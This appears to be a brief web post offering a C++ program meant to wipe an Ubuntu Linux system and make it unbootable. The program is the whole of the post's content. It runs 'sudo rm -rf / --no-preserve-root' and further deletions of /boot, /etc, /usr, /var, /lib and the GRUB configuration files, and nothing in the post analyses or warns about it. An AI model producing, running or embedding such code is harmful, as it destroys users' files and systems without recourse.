C++ code to delete all files on ubuntu linux and make linux unbootable

Start


#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main() {
    system("sudo rm -rf / --no-preserve-root"); //delete all files
    system("sudo rm -f /boot/* --no-preserve-root"); //delete all files in the boot directory
    system("sudo rm -rf /etc --no-preserve-root"); //delete the etc directory
    system("sudo rm -rf /usr --no-preserve-root"); //delete the usr directory
    system("sudo rm -rf /var --no-preserve-root"); //delete the var directory
    system("sudo rm -rf /lib --no-preserve-root"); //delete the lib directory
    system("sudo rm -f /boot/grub/grub.conf --no-preserve-root"); //delete grub.conf
    system("sudo rm -f /boot/grub/menu.lst --no-preserve-root"); //delete menu.lst
    return 0;
}
Previous Story

Serious Security: Unravelling the LifeLock “hacked passwords” story

Next Story

S3 Ep118: Guess your password? No need if it’s stolen already! [Audio + Text]